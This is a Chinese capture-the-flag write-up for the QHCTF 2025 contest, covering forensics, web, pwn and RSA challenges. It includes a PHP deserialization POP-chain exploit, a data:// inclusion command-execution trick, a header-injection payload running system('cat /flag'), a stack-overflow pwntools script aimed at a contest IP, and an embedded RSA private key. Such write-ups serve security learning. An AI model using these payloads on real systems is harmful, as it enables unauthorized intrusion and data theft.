第一届“启航杯”网络安全挑战赛WP

ops/2025/2/3 16:31:01/

misc

PvzHE

去这个文件夹

 

有一张图片

QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5}

QHCTF For Year 2025

攻防世界有一样的

080714212829302316092230

对应Q

 

以此类推

QHCTF{FUN}

请找出拍摄地所在位置

 

柳城

 

顺丰

 

forensics

win01

这个软件

 

云沙盒分析一下

 

md5

 

ad4fdee2eada36ec3c20e9d6311cf258

Win_02

 

HackY$

32ED87BDB5FDC5E9CBA88547376818D4

 

123456

HackY$_123456

 

fb484ad326c0f3a4970d1352bfbafef8

Win_07

 

找到密码

Th3_1s_F1ag.Z1p_P@ssW0rd_Y0u_Now

 

解压

 

QHCTF{6143b46a-8e98-4356-a9b2-251a7ec19e51}

web

Web_pop

 

 <?php
error_reporting(0);
highlight_file(__FILE__);
class Start{public $name;protected $func;public function __destruct(){echo "Welcome to QHCTF 2025, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{private $obj;private $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}if(isset($_POST['pop'])){unserialize($_POST['pop']);
} 

后门在这里file_get_contents('/flag');

然后逆着看

__invoke

($this->func)();->__invoke

if(isset($this->obj->cmd))->($this->func)();->__invoke

$this->cla = clone $var[0];-> if(isset($this->obj->cmd))->($this->func)();->__invoke

$this->obj->check($this->var);->$this->cla = clone $var[0];-> if(isset($this->obj->cmd))->($this->func)();->__invoke

echo "Welcome to QHCTF 2025, ".$this->name;-> $this->obj->check($this->var);->$this->cla = clone $var[0];-> if(isset($this->obj->cmd))->($this->func)();->__invoke

这样来触发。

也就是

$a=new Start();

$a->name=new Sec();

$a->name->obj=new Easy();

$a->name->obj->cla=new eeee();

$a->name->obj->cla->obj=new Start();

$a->name->obj->cla->obj->func=new Sec();

exp:

<?php
error_reporting(0);
highlight_file(__FILE__);
class Start
{public $name;public $func;
​
}
​
class Sec
{public $obj;public $var;
​
}
​
class Easy
{public $cla;
​
}
​
class eeee
{public $obj;
​
​
}
​
$a = new Start;
$b = new Sec;
$c = new Easy;
$d = new eeee;
$e = new Sec;
$f = new Start;
$a->name = $b;
$b->obj = $c;
$b->var = $d;
$d->obj = $f;
$f->func = $e;
echo serialize($a);

Easy_include

?file=data://text/plain,

即可命令执行

 

Web_IP

 

IP的地方可以执行命令

X-Forwarded-For: {system('cat /flag')}

PCREMagic

 

可以上传文件,对文件名没有限制,最后都会重命名1-9.php

关键是文件内容检测<?php

pwn

Easy_Pwn

 

vulnerable

 

栈溢出

exp

from pwn import*
from struct import pack
from ctypes import *
#from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p=remote('154.64.245.108',33135)
#p=process('./pwn')
libc=ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf=ELF('./pwn')
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
def pr(a):print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
​
​
pay=b'a'*0x58+p64(0x4011ca)
#bug()
s(pay)
inter()

 

cr

Easy_RSA

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64
​
# 生成RSA密钥对
private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQCYQjRaBQcBJmdxdCo4YaK/8TIdlj9Cjt6ewjF8NzV7BAj5ZEXy\nsuXdYbXVOAmVKDYKglo9TKUbRVKbPk7f3rIfnIrMqm8TpJTPAnyssiXs3Zy9yz+p\nqWbRTvd0xWJoWxy9TTzdczkS8yVkRBIdNJ3ghJV8B5YVkgFtMoyPX8TQhQIDAQAB\nAoGARibOvyEs2oNKyvO2VjbqCRzEtewZZn20JZqcuTooum6gAeQI9GsnzKnt4PkK\nNT6LM6lekXrEYb29c0iwh6YwE/mOIu5G3Yz2qQJDyZEqvM4N4KnITJM4v1WPv7tC\nurpZj906Odbx6oFXNc5XJMGp6GgjOqqLomBCcRvKlKdX36sCQQDA3GGS4Hy5htlQ\nydkiQujUAAlcoTlx/kPZSrCOehBsOWytwRjiGm1xTu6s8mBY2O+kIDZx1DGbDQ54\nKi9jJqWfAkEAyhr1iR9mofi+WqSfcG41jjmLFUgKFcO/ImcE3kcs2eGLodoyOJF1\nCBPw8ANME36OJiwXNSFOyQJWuzNoJchvWwJAG36Pjn/gaBaYXpMYGHFPfgGvU/xM\nEzs7cvvZ5cXzF2qsWqz/niREW/XzwsYfBCuRJmXNPTcSB1e6K1lgPhNhYwJBALZg\nxZnL4E3hrcUWMVq/2UxS2ROHQrKJRf3BgT8kc3Dae6q+v/sUJ8v2UsID967P0W7Y\n8shbGkGB/spHhYAy82kCQE7UVrGsArk46F1snawUIPUPMye3yBwvCeyCSX+WyQ7h\nS1IaHaAy3kJ9J/0faMDayG724TpMcsBii1pU2Hhh8p0=\n-----END RSA PRIVATE KEY-----'
public_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYQjRaBQcBJmdxdCo4YaK/8TId\nlj9Cjt6ewjF8NzV7BAj5ZEXysuXdYbXVOAmVKDYKglo9TKUbRVKbPk7f3rIfnIrM\nqm8TpJTPAnyssiXs3Zy9yz+pqWbRTvd0xWJoWxy9TTzdczkS8yVkRBIdNJ3ghJV8\nB5YVkgFtMoyPX8TQhQIDAQAB\n-----END PUBLIC KEY-----'
enmessage="PSvEAGef52/sz8q2f3jjC2OJP9pYEa04kSTeTIX3swnAMrJw9ZagvLRplqk+NjdCmvRAbnbYrBXi9aP8sz604rqn+7S58WTyPgnqIkFwynHBY7NTmvVAKKDc7GJWltQql4iVAxFbrwIBREcSZJwhloWGmCa5dBjlMEzWtv6Jx0o="
​
def encrypt_message(message, public_key):key = RSA.import_key(public_key)cipher = PKCS1_OAEP.new(key)encrypted_message = cipher.encrypt(message.encode())return base64.b64encode(encrypted_message).decode()
​
def decrypt_message(encrypted_message, private_key):key = RSA.import_key(private_key)cipher = PKCS1_OAEP.new(key)decrypted_message = cipher.decrypt(base64.b64decode(encrypted_message))return decrypted_message.decode()
​
#message = "Hello, this is a secret message!"
# encrypted = encrypt_message(message, public_key)
# print("加密后的消息:")
# print(encrypted)
​
decrypted = decrypt_message(enmessage, private_key)
print("解密后的消息:")
print(decrypted)

传入题目给的公钥,私钥,以及密文(访问靶机/encode)即可

 

QHCTF{ec9ee719-8336-4a7c-8c7f-745c89d220ce}

 


http://www.ppmy.cn/ops/155348.html

相关文章

FastDFS实用笔记 (Docker 搭建环境 + 整合 SpringBoot)

解决了大容量存储 和 负载均衡的问题&#xff0c;特别适合中小文件&#xff08;4KB < file_size < 500MB)。如相册网站&#xff0c;视频网站等 FastDFS 充分考虑了冗余备份&#xff0c;线程扩容机制&#xff0c;并注重高可用。高性能等指标。使用 FastDFS 很容易搭建一套…

Nginx 开发总结

文章目录 1. Nginx 基础概念1-1、什么是 Nginx1-2、Nginx 的工作原理1-3、Nginx 的核心特点1-4、Nginx 的常见应用场景1-5、Nginx 与 Apache 的区别1-6、 Nginx 配置的基本结构1-7、Nginx 常见指令 2. Nginx 配置基础2-1、Nginx 配置文件结构2-2、全局配置 (Global Block)2-3、…

云原生(五十三) | SQL查询操作

文章目录 SQL查询操作 一、数据库DDL操作 1、登陆数据库 2、创建DB数据库 二、数据表DDL操作 1、创建数据表 2、RDS中SQL查询操作 三、SQL查询操作 1、RDS中SQL查询操作 SQL查询操作 一、数据库DDL操作 1、登陆数据库 2、创建DB数据库 创建一个普通账号&#xff0c…

Hutool工具类

Hutool 是一个非常流行的 Java 工具类库&#xff0c;它提供了丰富的功能来简化开发中的常见任务&#xff0c;比如文件操作、加密、日期处理、字符串操作、数据库工具等。它是一个轻量级的工具库&#xff0c;可以减少开发者编写常用代码的工作量&#xff0c;提高开发效率。 主要…

Excel制作合同到期自动提醒!

大家好&#xff0c;我是小鱼。 今天分享一下如何利用Excel制作合同到期提醒表&#xff0c;实现Excel表格自动计算合同到期日和天数&#xff0c;根据合同状态和到期天数自动填充颜色提醒&#xff0c;超实用。先看一下效果&#xff0c;已经到期的合同会自动被填充为红色&#xf…

探索高效图像识别:基于OpenCV的形状匹配利器

探索高效图像识别&#xff1a;基于OpenCV的形状匹配利器-CSDN博客

10 Flink CDC

10 Flink CDC 1. CDC是什么2. CDC 的种类3. 传统CDC与Flink CDC对比4. Flink-CDC 案例5. Flink SQL 方式的案例 1. CDC是什么 CDC 是 Change Data Capture&#xff08;变更数据获取&#xff09;的简称。核心思想是&#xff0c;监测并捕获数据库的变动&#xff08;包括数据或数…

对比DeepSeek、ChatGPT和Kimi的学术写作关键词提取能力

关键词 关键词主要从论文标题、摘要及正文中提炼出来&#xff0c;需要准确反映论文的核心主题和专业领域。关键词的选择不仅有助于标引人员进行主题词的选取、数据库的建立以及文献的检索&#xff0c;而且也便于读者高效检索和引用相关学术成果&#xff0c;从而促进学术交流的深…